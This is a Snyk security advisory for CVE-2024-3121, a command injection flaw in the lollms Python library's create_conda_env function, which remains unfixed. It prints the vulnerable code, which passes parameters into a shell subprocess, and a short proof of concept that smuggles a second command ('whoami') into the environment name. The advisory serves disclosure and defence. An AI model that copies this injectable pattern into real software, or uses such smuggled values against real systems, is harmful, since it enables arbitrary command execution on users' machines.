Improper Control of Generation of Code ('Code Injection') Affecting lollms package, versions [0,]
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (10th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-LOLLMS-7361779
- published 30 Jun 2024
- disclosed 24 Jun 2024
- credit DarkNinja
Introduced: 24 Jun 2024
New CVE-2024-3121 Open this link in a new tabHow to fix?
There is no fixed version for lollms
.
Overview
lollms is an A python library for AI personality definition
Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the create_conda_env
function. An attacker can execute arbitrary commands by manipulating the env_name
and python_version
parameters.
PoC
import subprocess
import sys
import os
def create_conda_env(env_name, python_version):
# Activate the Conda environment
if platform.system()=="Windows":
conda_path = Path(sys.executable).parent.parent/"miniconda3"/"condabin"/"conda"
else:
conda_path = Path(sys.executable).parent.parent.parent/"miniconda3"/"bin"/"conda"
ASCIIColors.red("Conda path:")
ASCIIColors.yellow(conda_path)
process = subprocess.Popen(f'{conda_path} create --name {env_name} python={python_version} -y', shell=True)
# POC for the remote code execution vulnerability
create_conda_env("test_env; whoami", "3.9")